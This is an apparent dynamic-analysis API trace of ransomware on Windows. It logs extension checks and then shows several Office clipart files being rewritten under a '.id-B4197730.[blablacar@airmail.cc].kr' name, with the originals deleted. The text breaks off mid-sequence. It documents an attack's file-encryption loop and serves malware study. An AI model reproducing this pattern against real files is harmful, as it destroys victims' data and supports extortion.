[0199.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.194] lstrlenW (lpString=".rar") returned 4 [0199.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.194] lstrlenW (lpString=".bz2") returned 4 [0199.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.194] lstrlenW (lpString=".7z") returned 3 [0199.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.194] lstrlenW (lpString=".dbf") returned 4 [0199.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.194] lstrlenW (lpString=".1cd") returned 4 [0199.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0199.194] lstrlenW (lpString=".jpg") returned 4 [0199.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.194] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.194] lstrlenW (lpString="J0089945.WMF") returned 12 [0199.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.195] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19898) returned 1 [0199.195] CloseHandle (hObject=0x534) returned 1 [0199.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0199.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.196] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.196] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0199.197] GetLastError () returned 0x0 [0199.197] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0199.200] WriteFile (in: hFile=0x560, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0199.201] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.201] WriteFile (in: hFile=0x560, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.201] SetEndOfFile (hFile=0x560) returned 1 [0199.201] CloseHandle (hObject=0x560) returned 1 [0199.201] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.201] SetEndOfFile (hFile=0x534) returned 1 [0199.209] CloseHandle (hObject=0x534) returned 1 [0199.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0199.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.211] lstrlenW (lpString=".doc") returned 4 [0199.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString=".docx") returned 5 [0199.211] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.211] lstrlenW (lpString=".pdf") returned 4 [0199.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString=".xls") returned 4 [0199.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.211] lstrlenW (lpString=".xlsx") returned 5 [0199.211] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.211] lstrlenW (lpString=".ppt") returned 4 [0199.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.211] lstrlenW (lpString=".zip") returned 4 [0199.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.211] lstrlenW (lpString=".rar") returned 4 [0199.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString=".bz2") returned 4 [0199.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString=".7z") returned 3 [0199.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.211] lstrlenW (lpString=".dbf") returned 4 [0199.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.211] lstrlenW (lpString=".1cd") returned 4 [0199.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.212] lstrlenW (lpString=".jpg") returned 4 [0199.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.212] lstrlenW (lpString=".doc") returned 4 [0199.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString=".docx") returned 5 [0199.212] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.212] lstrlenW (lpString=".pdf") returned 4 [0199.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString=".xls") returned 4 [0199.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.212] lstrlenW (lpString=".xlsx") returned 5 [0199.212] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.212] lstrlenW (lpString=".ppt") returned 4 [0199.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.212] lstrlenW (lpString=".zip") returned 4 [0199.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.212] lstrlenW (lpString=".rar") returned 4 [0199.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString=".bz2") returned 4 [0199.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString=".7z") returned 3 [0199.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.212] lstrlenW (lpString=".dbf") returned 4 [0199.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.212] lstrlenW (lpString=".1cd") returned 4 [0199.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0199.213] lstrlenW (lpString=".jpg") returned 4 [0199.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.213] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.213] lstrlenW (lpString="J0089992.WMF") returned 12 [0199.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.213] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15680) returned 1 [0199.214] CloseHandle (hObject=0x534) returned 1 [0199.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0199.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.214] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.525] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.757] GetLastError () returned 0x0 [0199.757] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0199.760] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0199.761] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.761] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.761] SetEndOfFile (hFile=0x558) returned 1 [0199.761] CloseHandle (hObject=0x558) returned 1 [0199.761] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.761] SetEndOfFile (hFile=0x534) returned 1 [0199.765] CloseHandle (hObject=0x534) returned 1 [0199.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0199.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.768] lstrlenW (lpString=".doc") returned 4 [0199.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.768] lstrlenW (lpString=".docx") returned 5 [0199.768] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.768] lstrlenW (lpString=".pdf") returned 4 [0199.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString=".xls") returned 4 [0199.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.769] lstrlenW (lpString=".xlsx") returned 5 [0199.769] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.769] lstrlenW (lpString=".ppt") returned 4 [0199.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.769] lstrlenW (lpString=".zip") returned 4 [0199.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.769] lstrlenW (lpString=".rar") returned 4 [0199.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString=".bz2") returned 4 [0199.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString=".7z") returned 3 [0199.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.769] lstrlenW (lpString=".dbf") returned 4 [0199.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.769] lstrlenW (lpString=".1cd") returned 4 [0199.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.769] lstrlenW (lpString=".jpg") returned 4 [0199.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.770] lstrlenW (lpString=".doc") returned 4 [0199.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString=".docx") returned 5 [0199.770] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.770] lstrlenW (lpString=".pdf") returned 4 [0199.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString=".xls") returned 4 [0199.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.770] lstrlenW (lpString=".xlsx") returned 5 [0199.770] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.770] lstrlenW (lpString=".ppt") returned 4 [0199.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.770] lstrlenW (lpString=".zip") returned 4 [0199.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.770] lstrlenW (lpString=".rar") returned 4 [0199.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString=".bz2") returned 4 [0199.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString=".7z") returned 3 [0199.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.770] lstrlenW (lpString=".dbf") returned 4 [0199.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.770] lstrlenW (lpString=".1cd") returned 4 [0199.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0199.770] lstrlenW (lpString=".jpg") returned 4 [0199.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.771] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.771] lstrlenW (lpString="J0090089.WMF") returned 12 [0199.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.772] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15760) returned 1 [0199.772] CloseHandle (hObject=0x534) returned 1 [0199.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0199.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.773] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.773] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0199.774] GetLastError () returned 0x0 [0199.774] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0199.776] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0199.777] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.777] WriteFile (in: hFile=0x558, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.778] SetEndOfFile (hFile=0x558) returned 1 [0199.778] CloseHandle (hObject=0x558) returned 1 [0199.778] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.778] SetEndOfFile (hFile=0x534) returned 1 [0199.781] CloseHandle (hObject=0x534) returned 1 [0199.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0199.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.783] lstrlenW (lpString=".doc") returned 4 [0199.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.783] lstrlenW (lpString=".docx") returned 5 [0199.783] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.783] lstrlenW (lpString=".pdf") returned 4 [0199.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.783] lstrlenW (lpString=".xls") returned 4 [0199.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.783] lstrlenW (lpString=".xlsx") returned 5 [0199.783] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.783] lstrlenW (lpString=".ppt") returned 4 [0199.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.783] lstrlenW (lpString=".zip") returned 4 [0199.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.783] lstrlenW (lpString=".rar") returned 4 [0199.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.783] lstrlenW (lpString=".bz2") returned 4 [0199.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.783] lstrlenW (lpString=".7z") returned 3 [0199.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.784] lstrlenW (lpString=".dbf") returned 4 [0199.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.784] lstrlenW (lpString=".1cd") returned 4 [0199.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.784] lstrlenW (lpString=".jpg") returned 4 [0199.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.784] lstrlenW (lpString=".doc") returned 4 [0199.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.784] lstrlenW (lpString=".docx") returned 5 [0199.784] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.784] lstrlenW (lpString=".pdf") returned 4 [0199.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.784] lstrlenW (lpString=".xls") returned 4 [0199.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.784] lstrlenW (lpString=".xlsx") returned 5 [0199.784] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.784] lstrlenW (lpString=".ppt") returned 4 [0199.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.784] lstrlenW (lpString=".zip") returned 4 [0199.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.784] lstrlenW (lpString=".rar") returned 4 [0199.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.785] lstrlenW (lpString=".bz2") returned 4 [0199.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.785] lstrlenW (lpString=".7z") returned 3 [0199.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0199.785] lstrlenW (lpString=".dbf") returned 4 [0199.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.785] 